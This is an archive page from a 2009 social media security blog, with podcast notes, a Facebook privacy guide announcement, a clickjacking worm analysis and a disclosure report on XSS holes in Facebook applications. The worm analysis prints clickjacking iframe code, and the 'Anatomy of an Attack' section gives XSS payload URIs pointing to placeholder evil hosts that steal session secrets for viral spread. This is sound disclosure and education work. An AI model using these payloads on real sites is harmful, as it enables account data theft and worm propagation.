Facebook Privacy & Security Guide v2.0: Updated with New Privacy Changes

I have updated and released version 2.0 of the popular Facebook Privacy & Security Guide.  Version 2.0 reflects the recent changes that Facebook made to it’s privacy settings.  In addition, I added a new section titled “Blocking and Creating Friend Lists” and expanded on how your Name, Profile Picture, Gender, Current City, Networks, Friend List, and Pages are now publicly available information.

Download the new version of the Facebook Privacy & Security Guide here.
You can also get to the guide from: socialmediasecurit… and from the top of Socialmediasecurity.com under “Guides”.

Can you remove public access to your friend list?
One tip I didn’t have room for in the guide around these new changes is the following.  You can remove the ability for your “Friend List” to be viewed in public searches by selecting the Edit “pencil” in the Friends box on your profile page and unchecking the box.  Here is a screen shot of this.  Unfortunately, this control is all or nothing but the good news is your Friends can still see your friends list.  You may also want review your application settings so application “boxes” are not showing on your public profile as well.  More information can be found on Facebook’s blog post about these issues (hat tip to @mubix for pointing this out).

Like before please send any feedback on the guide to feedback[ aT ]socialmediasecurity.com.  The companion video is being worked and should be up shortly as well.

Social Media Security Podcast 6 – Privacy, Photo Tagging, Facebook Police, What is Clickjacking

skullThis is the 6th episode of the Social Media Security Podcast recorded December 3, 2009.  This episode was hosted by Tom Eston and Kevin JohnsonScott Wright joins in as “god” during post-edit.  Below are the show notes, links to articles and news mentioned in the podcast:

  • New privacy settings in Facebook are rolling out, regional networks are being removed.  Be sure to check out the comments under Mark Zuckerberg’s blog post…all spam!
  • Is Facebook photo tagging still a big fail?
    Scott clarifies this for us.  The solution to this is to adjust your privacy settings to allow only you to see tagged photos of yourself and ensure email alerting is on to alert you when a new photo is tagged of you.  That way you can easily remove any tagged photo of you.  There is also no way to “prevent” a photo of you being tagged.  However, to tag someone they need to be in your friends list.  How about false tagging?  Someone tagging you in a naughty picture…reputation issue?  What if you don’t have a Facebook account and friends make comments regardless?
  • Police create fake Facebook account to bust a college student for underage drinking.  Did the police go too far or this is acceptable practice in this day and age?
  • Kevin talks about Clickjacking.  What is it and what do users of social networks need to be aware of?

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes! Thanks for listening!

Social Media Security Podcast 5 – Google Reader, Privacy, Wave, ChromeOS and Foursquare

skullThis is the 5th episode of the Social Media Security Podcast recorded November 20, 2009.  This episode was hosted by Scott Wright and Tom Eston. Kevin Johnson will be joining us for the next podcast.  Below are the show notes, links to articles and news mentioned in the podcast:

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes! Thanks for listening!

Facebook Worm Uses Clickjacking in the Wild

Reports have been spreading today of a new Facebook worm that posts a link to the infection page on people’s profiles. The infection page itself includes a button that users are told to click, with the promise of seeing “something hot” or dominating FarmVille. Nick FitzGerald at AVG posted a walkthrough of the worm (warning: slightly NSFW image), and when explaining how the worm operated, gave an explanation similar to that of other articles I saw:

A sequence of iframes on the exploit page call a sequence of other pages and scripts, eventually resulting in a form submission to Facebook “as if” the victim had submitted a URL for a wall post and clicked on the “Share” button to confirm the post.

With all due respect to FitzGerald and others, I was suspicious. First, I know from experience what sort of CSRF protections Facebook has put in place. Second, if this were truly just CSRF, why not execute the attack on loading the page instead of requiring a second click?

I do know of one relative of CSRF attacks (some classify it as simply CSRF, but I do see a distinction) that requires another click, and that’s clickjacking. I decided to check out an infection page to see exactly what was going on.

Sure enough, both the “hot” and “dominate FarmVille” pages load in invisible iframe, which calls for another local page, which in turn loads another invisible iframe. The actual source of the second local page looks like this (URI edited):

<html><head></head><body><div style=”overflow: hidden; width: 56px; height: 24px; position: relative;” id=”div”>
<iframe name=”iframe” src=”http://EVILURI/index.php?n=632″ style=”border: 0pt none ; left: -985px; top: -393px; position: absolute; width: 1618px; height: 978px;” scrolling=”no”></iframe></div></body></html>

The address that the iframe loads simply redirects to a Facebook share page with the infection page specified as the share link. Note that the style attribute on the iframe includes negative values for “left” and “top” – this ensures that when the page loads, the “Share” button for the Facebook page is at the top-left corner of the iframe, and thus positioned right underneath the button users think they are clicking.

It’s perhaps worth noting that the possibility of such a worm has been pointed out before, including on this blog:

All of the following actions can be mistakenly performed by a user simply clicking a link or button on an innocent-looking page via clickjacking:

Post a link to your profile. This is possible by applying clickjacking to several Facebook pages used for sharing content. A custom title and description can be set for the link. Other content, such as a Flash video, can also be posted this way.

I also encouraged Facebook in my Month of Facebook Bugs Report to take clickjacking seriously. The behavior of this worm is only the beginning – as I’ve pointed out for months, a similar attack could authorize a Facebook application (malicious or hijacked) and steal user information while spreading links even more virally. This new worm may be one of the first examples of clickjacking used in the wild, but it certainly won’t be the last.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Social Media Security Podcast 4 – Death by Twitter, Open Source Intelligence, Policies, Google Wave

skullThis is the 4th episode of the Social Media Security Podcast recorded November 6, 2009.  This episode was hosted by Scott Wright, Tom Eston and Kevin Johnson.  Below are the show notes, links to articles and news mentioned in the podcast:

  • More scams on Twitter including the recent IQ quiz attack.  Disinformation on social networks…someone died example..are you sure they are really dead?
  • Tom talks about his Open Source Intelligence Gathering talk that he recently gave.  How do you find information posted about your company on social networks and why should you look?  Now is probably a good time for your company to create a social media strategy and then develop a Internet postings policy around this strategy.
  • Cisco has a great Internet posting policy to reference when created one for your company.
  • Scott talks about creating a postings policy for your company.  Here is a link to the Forrester book titled “Groundswell” that talks about creating a social media strategy.
  • Kevin talks about Google Wave.  What is it and why would we want to use this?  What are some of the security issues with Google Wave?  Check out the great research that theharmonyguy has been doing on Google Wave.
  • Developers! Please start coding securely from the beginning of the project! ktksbai.
  • Be sure to follow us on Twitter to stay up-to-date on all the latest news in the world of social media security!

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast now in iTunes! Thanks for listening!

Social Media Security Podcast 3 – Phishing and Koobface, What is CSRF, Protected Tweets

skullThis is the third episode of the Social Media Security Podcast recorded October 23, 2009.  This episode was hosted by Scott Wright, Tom Eston and Kevin Johnson.  Below are the show notes, links to articles and news mentioned in the podcast:

  • Tom and Scott talk about phishing on social networks. How can you tell the difference between a fake friend request and a real one? Here is a screen shot of a fake friend request and a real friend request.  Just by looking at the email…it’s really hard to tell the difference isn’t it?  The only way you can tell the difference is to look at the URL the link is going to by looking at the message source (code and/or mail header info).  We advise you check your Facebook Inbox for legitimate friend requests, don’t click on friend request links in email.
  • Tom gives a primer on Koobface. What is the Koobface worm and how does it spread?  If you want to learn more about Koobface check out this very good paper created by TrendMicro on how Koobface works.
  • Kevin gives a great non-technical overview of CSRF (Cross-site request forgery).  Want to see a real CSRF attack demonstrating stealing private Facebook profile information? Check out this video and blog post.  Here is the great talk by Jeremiah Grossman about exploiting business logic flaws that Tom mentioned.
  • Interested to know more about CSRF? Check out Security Now! Episode 166.
  • Are your protected tweets able to be searched by Google?  Tom clarifies that this article was not true at all.  However, there are some important things you need to know about protected tweets and why making your Twitter account private doesn’t buy you much.
  • Due to popular demand we are going to try recording the podcast bi-weekly!
  • Be sure to follow us on Twitter to stay up-to-date on all the latest news in the world of social media security!

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast now in iTunes! Thanks for listening!

The Month of Facebook Bugs Report

Introduction

The Month of Facebook Bugs, or FAXX Hacks, is a series of reports on vulnerabilities in Facebook applications. The series was a volunteer research project coordinated by an anonymous blogger known as theharmonyguy. All of the vulnerabilities were reported to Facebook and/or relevant application developers prior to their publication.

While one could take several approaches in enumerating “Facebook bugs,” this particular series focused on cross-site scripting holes in Facebook applications. The name FAXX refers to Facebook Application XSS+XSRF, as nearly any XSS vulnerability in a Facebook application allows a sort of cross-site request forgery in that one can use application credentials to make requests to the Facebook API. This is demonstrated in code examples below.

The series helps to quantify the sore lack of application security on the Facebook Platform, a fact perhaps well-known to those in the security community, but not to many others. Furthermore, anecdotal evidence suggests many Facebook users fail to understand distinctions between Facebook and third-party applications, much less the implications of issues with the current Facebook Platform, such as the level of access to user data brought by authorizing an application. Cross-site scripting vulnerabilities are significant on any web site, but when combined with a user’s trust in Facebook and access to the Facebook API, they become even more dangerous.

Summary of Findings

  • Many Facebook applications, even widely used ones or seemingly trustworthy ones, lack basic security precautions.
  • Specifically, cross-site scripting vulnerabilities were found in a wide range of Facebook applications.
  • Each such vulnerability can be exploited to execute malicious JavaScript, such as malware delivery.
  • In addition, such holes allow an attacker to access profile information, including personal details, status updates, and photos, of a victimized user and their friends.
  • Moreover, these vulnerabilities can be used to send notifications or post feed stories, allowing for viral distribution.
  • While each application hole affects users who have already authorized the application, clickjacking can often target users who have not.
  • The series focused on vulnerabilities in legitimate applications, but rogue applications, which could easily exploit clickjacking, have also been noted by others.
  • All of the vulnerabilities reported in the series have been patched, but attacks that exploit application holes remain possible.
  • Preventing future problems due to application vulnerabilities requires action from both application developers and Facebook.

Statistics

  • The series demonstrated vulnerabilities affecting over 9,700 Facebook applications.
  • Over half of the vulnerabilities affected applications that had passed the Facebook Verified Application program.
  • Six of the hacked applications ranked among the top ten by monthly active users at publication.
  • The published monthly active user counts for hacked applications total to more than 218 million.
  • While the previous figure includes overlaps, each vulnerability affected any user who had authorized the application, whether currently active or not.
  • Nearly two-thirds of the vulnerabilities in the first half of the series allowed for clickjacking attacks that would affect any Facebook user. (Applications in the second half of the series were not checked for clickjacking due simply to time constraints.)
  • Vulnerabilities in popular applications that allow for clickjacking mean nearly any Facebook user could fall prey to a FAXX hack.
  • Seven of the current top ten application developers by combined monthly active users had at least one vulnerable application.
  • Nine of the developers contacted took over a week to build a patch for an application vulnerability.

Responsiveness

Many application developers were very responsive, expressed that application security was a priority, and appreciated notification of the vulnerabilities. I certainly recognize that it’s much easier to point out holes in someone else’s work than to spend the effort required to build a large-scale application. I applaud the efforts of hard-working developers who understand the seriousness of these problems and who take application security seriously.

That said, several developers took a while to respond to either me or Facebook. One vulnerability was not patched until more than two weeks after first being reported. I realize that patches take time, but this particular hole should have been a fairly simple fix.

I was also a bit disappointed by some of Facebook’s responses. Don’t get me wrong—I’m very grateful for the security contact who got in touch with me early on. He patiently fielded dozens of e-mails about application issues, and I thank him greatly for his efforts. But as I sent reports of discovered holes to Facebook, the Platform Policy Team would then notify the developer. (I also made a point of looking for e-mail addresses for developers, and always contacted them directly if I found any addresses.) On two occasions, I received a copy of the message that Facebook sent the developer. Here is the body of one of them:

To the developer of application ID#XXXXXXXX,

We’re writing to inform you that your application, [Application Name], has been reported to contain a cross-site scripting vulnerability. Specifically, the [URI parameter] parameter of the [page name] page can accept FBML or HTML that can load in other pages via an iframe.

Please contact theharmonyguy@gmail.com for more information, and let us know when this issue has been resolved.

Thank you in advance,

[Name]

Platform Policy Team

Facebook

As you can imagine, several developers who contacted me thought I was associated with Facebook. I would also note that the information I sent to Facebook included an example URI demonstrating the hole. After seeing the above e-mail, I mentioned the terseness of it to my security contact and requested Facebook communicate more with affected developers. I didn’t see any of the reports later in the month, but hopefully they were more helpful.

Lessons for Developers

  • Sanitize all inputs. That includes every bit of data processed by the application, whether loaded from a Facebook user’s profile, loaded from a database, submitted with a form, or received from the query string of an address. Never assume that a given parameter will be clean or of the expected type.
  • Sanitize all outputs. When displaying a notice or error message, load predetermined strings instead of using dynamic inputs. Never reuse the address of a page without fitering it for injection attempts. Filter any information you output to an application page or via an AJAX interface.
  • Avoid user-generated HTML. Generally, users should never be allowed to input HTML, FBML, or other rich-text formats. When allowing rich-text data, use pre-built, tested code for processing and displaying it, rathering than trying to create your own filters.
  • Check every page. Many vulnerabilities appear in secondary pages, such as ad loaders or AJAX interfaces. Verify security precautions in every part of the application. If possible, consider storing secondary files in a folder other than that of the application’s canvas pages.
  • Verify Facebook sessions. Never rely on a cookie, a query string, or data generated within the application to verify the current user. Facebook provides applications with session information they can always check before making requests or loading information.
  • Use server whitelisting. If your application does not use AJAX or does not otherwise make requests using the Facebook JavaScript API, take advantage of the server whitelist feature in the application properties and only allow requests from your server.
  • Understand third-party code. Take the time to examine any code given to you by other developers, such as JavaScript tools or advertising network receiver files, before including them in your application. In particular, third-party code that arnesses a user’s session secret violates rules given by Facebook.
  • Don’t simply obfuscate. Never rely on JavaScript obfuscation or compression to hide vulnerabilities in application pages. Such techniques may slow down an attacker for a short while, but they can always be worked around or reversed.
  • Educate your users. Avoid incorporating design patterns that train users to accept bad practices, such as entering third-party passwords. Communicate clearly your policies on privacy, data retention, and information security.

Lessons for Facebook

  • Stop the charade. Nearly all instances of user information and content are essentially public. Many users have an understanding of privacy and control not reflected by the findings of this series and others. Either take necessary action to address these issues, or drop illusory privacy controls.
  • Talk to developers. Several resources exist for helping developers get started on the Platform, but Facebook has published much less content reminding developers of security precautions. If you associate your brand with third-party code, you have a reponsibility to help ensure the safety of that code.
  • Truly verify applications. The current Verified Applications program apparently does not address basic security flaws. Also, while opening the floodgates to any application has benefits, it also poses serious risks that may justify putting a few limits or checks in place.
  • Limit application access. While it’s encouraging to hear that Facebook will be adding granular access controls in response to the Canadian Privacy Commissioner, it’s disheartening that such steps took so long and are still nearly a year off from full implementation.
  • Take clickjacking seriously. This series has only begun to demonstrate the implications of clickjacking. Single-click authorization of applications, even when one exempts from the Platform, only adds to the danger of clickjacking on Facebook pages.
  • Improve request verification. The Facebook JavaScript API may provide much useful functionality, but it also opens the door to simple API requests with merely a session secret. Other means exist for ensuring that requests come legitimately from an application instead of an attacker.
  • Distinguish your brand. With the current Facebook Platform, any vulnerability in a third-party application becomes a vulnerability for Facebook. Either users should be able to trust applications to the same degree as Facebook, or Facebook should more clearly distinguish third-party content.
  • Educate your users. People click applications without a second thought to the risks of rogue applications or possible security problems. Users may seek to share personal information with friends, but fail to realize how that information is used by third-party code.

Anatomy of an Attack

I now present a more detailed explanation of how FAXX hacks allow for viral attacks and stealing user information, along with code samples.

Suppose the imaginary Facebook application “Faceplant” includes a parameter “ref” on its home page, i.e. http://apps.facebook.com/faceplant/?ref=install. Further suppose that one of the links within the home page’s code appended the given ref parameter to the “href” attribute, i.e. <a href=”http://apps.facebook.com/faceplant/play?ref=install”>. Finally, suppose the application did not filter the “ref” parameter at all, e.g. the PHP code echo ‘<a href=”http://apps.facebook.com/faceplant/play?ref=’.$ref.’”>’;.

As you can probably see, the “ref” parameter introduces a cross-site scripting hole. For instance, loading the page http://apps.facebook.com/faceplant/?ref=”><img> would render an image element when the page loads. Assuming Faceplant is an FBML application, one could load a URI similar to http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=http://eviluri/> to render a given iframe within the page. (Note that these URIs would need further encoding to actually function properly.) Since the source attribute for the iframe is arbitrary, one could load a page that executes malicious scripts, such as malware delivery or browser exploitation.

So far, we’ve simply described a standard XSS hole. But in a Facebook application, adding an fb:iframe does not simply load a standard iframe. The URI of the iframe page is appended with a series of session parameters, such as the current user’s Facebook ID and the current application’s API key. To make a request to the Facebook API, however, requires the session secret, or the fb_sig_ss parameter. But this parameter is only added to an iframe if the URI originates from the same path as the application itself. Thus in the example above, http://eviluri/ would not have access to the session secret.

In a non-FBML application, one can simply insert JavaScript which checks the page’s parameters, since the application canvas page will have the session secret. For an FBML application, things get a bit trickier – inserted JavaScript gets filtered as FBJS and may not allow for a reliable attack. However, buried in the source code of every FBML application page on apps.facebook.com is the JavaScript variable “source_url,” which gives the direct URI of the application that Facebook loads the FBML from. Accessing this URI directly with valid session parameters appended will load the FBML source into your web browser. While a browser won’t understand all the FBML, it will still load HTML elements as HTML – including script elements.

This brings what I refer to as a double-injection trick. If you find an XSS hole in a page on apps.facebook.com, you’ve actually found an XSS hole in the original FBML page that Facebook loads. Thus you can apply the same XSS hole to the original page. The trick works like this: use the XSS hole in the apps.facebook.com URI to insert an fb:iframe that references the original page’s URI. Since this page is hosted on the same path as the application, it will receive the session secret. For example, http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=http://faceplantapp/index.php>. Now, use the XSS hole a second time by setting the URI of the inserted fb:iframe to insert JavaScript into the direct application page, that is, http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=’http://faceplantapp/index.php?ref=”><script src=http://evilscript/>’>. (Once again, this would have to be encoded properly, but I leave these examples unencoded to make the process more readily clear.) The JavaScript can simply check the URI of the page that loads it to access the session secret.

But even this method does not always work. If the direct application page includes script before the inserted code, it may fail to execute in the absence of Facebook’s processing, and thus the inserted code will not load. We can thus use another trick to get the session secret. Instead of inserting JavaScript directly, insert yet another iframe, as in http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=’http://faceplantapp/index.php?ref=”><iframe src=http://eviluri/>’>. Now note that this second iframe is loaded by the application page, which has received the session secret from the fb:iframe. Hence, the referrer for the second iframe will include the session secret. The page at http://eviluri/ can simply load JavaScript that checks the referrer and grabs the session secret. This code can then make any Facebook API request that the application itself is authorized to make under a user’s session.

For more details on how this would work, download viraluri.txt and eviluri.txt. These are two text files with HTML source code for two files to be used in an attack on Flixster (Movies), utilizing the hole previously reported in that application (and now fixed). The first file uses clickjacking and an invisible iframe to load an apps.facebook.com URI which inserts http://eviluri/ as above. The second file represents the code that one would host at http://eviluri/ to then steal user information, post a link to http://viraluri/ (the address at which the first file would be hosted) on the user’s profile, and send a notification to a given user with a link to http://viraluri/ as well. Finally, the code forwards the user to http://innocenturi/ to avoid any suspicion.

Wrapping Up

I could say so much more about this series and all it involved, but I feel the need to bring this report to a close. I may post additional observations later on. I also want to add that I do not want to come across too harshly towards application developers or Facebook – I recognize steps they have taken to help and protect users in many ways. I can attest from experience that Facebook generally produces very secure code, for instance. But at the same time, I still see much more that could be done, especially considering the wide range of personal information that users share on Facebook compared to other sites.

Regardless, this series provides quantifiable demonstrations of the state of application security on the Facebook Platform, and the results are far from encouraging. I hope it will spark further dialogue about Facebook applications and social networking security in general.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Even More Facebook Bugs

Facebook allows applications to request “extended permissions” – the ability to perform actions not normally allowed for applications, such as updating a user’s status or adding photos to their profile. In the past, these were limited and not used all that often, but more recently several applications have been adding novel uses that require extended permissions.

Once I finished up with the Month of Facebook Bugs project (the full report is coming along and should be posted today or tomorrow), one item on my to-do list was checking how granting extended permissions worked in practice. I’ve noticed cases before where an application would request one extended permission and be granted several.

But this morning, I noticed a friend’s status was a message about taking a quiz (an application built using Quiztacular), along with a link. Since this wasn’t the usual feed story, I checked out the application myself, and sure enough it updated my status – without ever requesting extended permissions.

Further investigation revealed that it had been granted the following extended permissions anyway: Status Update, Add Photos, Add Videos, Create Notes, Share, Stories, and Publish to Streams. I then tried installing several other new applications, and each time I authorized one, it would then automatically appear under each of these seven extended permissions. (You can check which applications have extended permissions here.)

I first noticed this issue a little over an hour ago, and sent an e-mail to my contact at Facebook after confirming the issue. I just did another check and the bug is still present.

While investigating that bug this morning, I also came across another surprising aspect of the Facebook Platform. I visited one application page that did not require authorization when first loaded. (Note that this is not unusual – if an application page does not request any user information, it can load as if it were a normal web page.) The page then brought up a typical Facebook pop-up requesting to post a story on my wall about the reward I’d been granted. Intrigued, I clicked “Publish,” and was then forwarded to a page requesting I authorize the application so I could use my reward in actual gameplay.

I checked my profile before authorizing the application, and to my shock, the feed story sat at the top of my wall, complete with pictures and links. At first this may not appear to be a problem, as the application did not gain access to any of my information and I had to give my approval to post the story. But those familiar with previous posts on this blog will recognize the danger of clickjacking. One could easily build a rogue application page that requests a feed story, load it in an invisible iframe, and with one click users would publish a story that could easily include malicious links.

I trust that Facebook will patch the extended permissions bug (which brings back memories of #Twitbook) quickly, and I would hope that they would address the serious danger of the story publishing setup. But I’m not holding my breath on the latter, given Facebook’s track record with this sort of issue. (And on that note, why did the blogosphere take Twitter to task over clickjacking, but has yet to notice Facebook’s complete lack of clickjacking protection?)

Update (Oct. 8): I got word about three hours ago from Facebook that a fix was being pushed for the first issue posted here (the extended permissions bug). I just checked and can confirm the patch: Applications no longer receive extended permissions on authorization, and the applications that had been mistakenly authorized no longer have those permissions. Good work, Facebook.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

1 5 6 7 8 9 16